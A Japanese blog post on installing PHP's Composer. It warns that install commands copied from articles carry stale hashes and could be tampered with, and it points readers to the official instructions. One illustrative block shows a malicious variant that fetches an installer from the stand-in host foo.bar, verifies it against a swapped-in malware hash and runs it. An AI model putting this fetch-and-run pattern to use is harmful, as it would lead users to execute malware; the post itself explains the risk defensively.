Composerをインストールするなら公式ドキュメントを見よう!

PHPの開発環境を作るときに､[Composer](https://getcomposer.org/)をインストールすることが多いと思います｡
以前PHPを勉強するにあたって､開発環境を作る際に入門記事を参考にさせて頂いたのですが､Composerをインストールする際の手順でハッシュ値比較について言及していない記事が多かったため､記事にしてみました｡

# TL;DR
公式のインストール手順を見よう!
https://getcomposer.org/download/

# Composerをインストールするには
Composerインストール手順を紹介している記事では､以下のようなコマンド**だけ**が貼られていることが多いと思います｡

```bash:composer-install
php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
php -r "if (hash_file('sha384', 'composer-setup.php') === '48e3236262b34d30969dca3c37281b3b4bbe3221bda826ac6a9a62d6444cdb0dcd0615698a5cbe587c3f0fe57a54d8f5') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
php composer-setup.php
php -r "unlink('composer-setup.php');"
```

これはComposer公式の[ダウンロードページ](https://getcomposer.org/download/)に記載されているインストールコマンドです｡

- Composerインストール用のPHPファイルをダウンロード
- ダウンロードしたファイルのハッシュ値を比較し､オリジナルファイルと同一かを検証
- Composerをインストール
- Composerインストール用PHPファイルを削除

という流れです｡

# 何が問題なのか
このコマンド､今日(2019/06/10)現在であれば､コピペ実行で期待するとおりに動きます｡
しかし1年後､このコマンドでComposerをインストールできるのか?
答えは**NO**です

## なぜインストールできなくなるのか
原因はインストールコマンドの2行目にあります｡

```bash:composer-install
php -r "if (hash_file('sha384', 'composer-setup.php') === '48e3236262b34d30969dca3c37281b3b4bbe3221bda826ac6a9a62d6444cdb0dcd0615698a5cbe587c3f0fe57a54d8f5') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
```

上記でも説明しているとおり､`composer-setup.php`のハッシュ値を算出し､オリジナルファイルと同一かを検証しています｡
ここでは`composer-setup.php`のハッシュ値とオリジナルファイルのハッシュ値を比較しているのですが､オリジナルファイルのハッシュ値は､コマンド内に文字列でべた書きされています｡
Composerがバージョンアップすれば､`composer-setup.php`も更新されます｡
`composer-setup.php`が更新されれば当然ハッシュ値は変わります｡
つまり､オリジナルファイルのハッシュ値をべた書きしている上記コマンドは､Composerがバージョンアップしてしまうとインストールコマンドとして動いてはくれないのです｡

### なぜハッシュ値を比較するのか
ハッシュ値を比較する目的としては､以下の2つが挙げられると思います｡

- ファイルが破損していないかを検証
- ファイル改ざんを検証

重要なのは2点目の**｢ファイル改ざん｣**を検証するところです｡
悪意あるユーザーが何らかの方法でファイルを改ざんしていたら問題ですよね?
ダウンロード元のURLが正しくても､内容が正しいものとは限りません｡
ハッシュ値は1bit違えば全く別のものになる([正確には低確率で衝突する](https://ja.wikipedia.org/wiki/%E8%AA%95%E7%94%9F%E6%97%A5%E6%94%BB%E6%92%83))ため､オリジナルファイルのハッシュ値を知っていれば､それと比較して改ざんを検出できるのです｡

## 悪意あるユーザーが記事を書いていたら
次に､悪意あるユーザーがインストールコマンドを以下のように書き換えてブログ記事にしていた場合はどうでしょう｡

```bash:
# マルウェアを含んだPHPファイルをダウンロード
php -r "copy('https://foo.bar/installer', 'composer-setup.php');"
# 上記ファイルのハッシュ値に書き換えて比較
php -r "if (hash_file('sha384', 'composer-setup.php') === 'マルウェアのファイルハッシュ値') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
php composer-setup.php
php -r "unlink('composer-setup.php');"
```

何も疑わずコピペで実行していくと､マルウェアを実行することになります｡
上記の例は極端ですが､コピー元のURLが本物と酷似していたりしたら､初学者でなくても騙されるかもしれません｡
(こんなのほぼありえないでしょうけれど､いい例が思いつかなかったです......)

# 公式の手順を参考にしよう!
悪意がなくても､｢情報が古い｣､｢コピペミス｣､｢リンク切れ｣は十分ありえます｡
不要なトラブルを回避するためにも､公式ページに載っている手順を見てインストールしましょう
https://getcomposer.org/download/

すべて英語ですが､それほど難しい英語ではないですし､難なく実行できると思います｡
英語がわからなくても､Google翻訳を噛ませたり､それこそインストール手順が書かれた記事を参考にすればいいと思います｡

## 最初は公式ドキュメントを確認する癖をつける
大抵のことは公式ドキュメントを見れば解決します｡
(私を含む)英語が苦手な人は､英語で書かれたドキュメントに苦手意識があると思いますが､｢色々調べた結果､公式ドキュメントにはじめから書いていた｣などということはざらにあります｡

インターネット上には有用な記事はたくさんあります｡
私もいつもお世話になってます｡(ありがとうございます🙇‍♀️)
ですが､時間経過とともに古くなったり､間違った情報が記載されていることもあります｡
時間を無駄にしないためにも

- まずは公式ドキュメントを見る
- 解決しなければブログやQiitaを確認する

という癖を付けることをおすすめします｡

# これからComposerに関する記事を書く方々へのお願い
もし今後Composerをインストールする手順を記事にする場合には､公式ページのリンクも一緒に貼ってくださるようお願いします｡
きっと､より良い記事になると思います｡

また､[公式ページ](https://getcomposer.org/download/)にも以下のような記載があります｡
>WARNING: Please do not redistribute the install code. It will change with every version of the installer. Instead, please link to this page or check how to install Composer programmatically.

>警告：インストールコードを再配布しないでください｡インストーラのバージョンごとに異なります｡代わりに､このページにリンクするか､[Composerをプログラムでインストールする方法](https://getcomposer.org/doc/faqs/how-to-install-composer-programmatically.md)を確認してください｡

# おまけ
## Composerのインストールを自動化するには
DockerなどでComposerをインストールするのであれば､以下のコマンドをDockerfileに書けばOKです｡

```Dockerfile
RUN php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" \
  && php -r "if (hash_file('sha384', 'composer-setup.php') === file_get_contents('https://composer.github.io/installer.sig')) { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;" \
  && php composer-setup.php \
  && php -r "unlink('composer-setup.php');"
```

上記は､公式ページ記載のコマンドをPHPで書き直したものです｡
※ [｢これからComposerに関する記事を書く方々へのお願い｣](https://qiita.com/KeisukeKudo/private/33ded474843bae9d7815#%E3%81%93%E3%82%8C%E3%81%8B%E3%82%89composer%E3%81%AB%E9%96%A2%E3%81%99%E3%82%8B%E8%A8%98%E4%BA%8B%E3%82%92%E6%9B%B8%E3%81%8F%E6%96%B9%E3%80%85%E3%81%B8%E3%81%AE%E3%81%8A%E9%A1%98%E3%81%84)節のリンクから飛べます｡
https://getcomposer.org/doc/faqs/how-to-install-composer-programmatically.md

最新の`composer-setup.php`のハッシュ値は､Composerの`github.io`にアップされています｡
そのファイルからハッシュ値を取得して､ダウンロードした`composer-setup.php`のハッシュ値と比較しているだけですね｡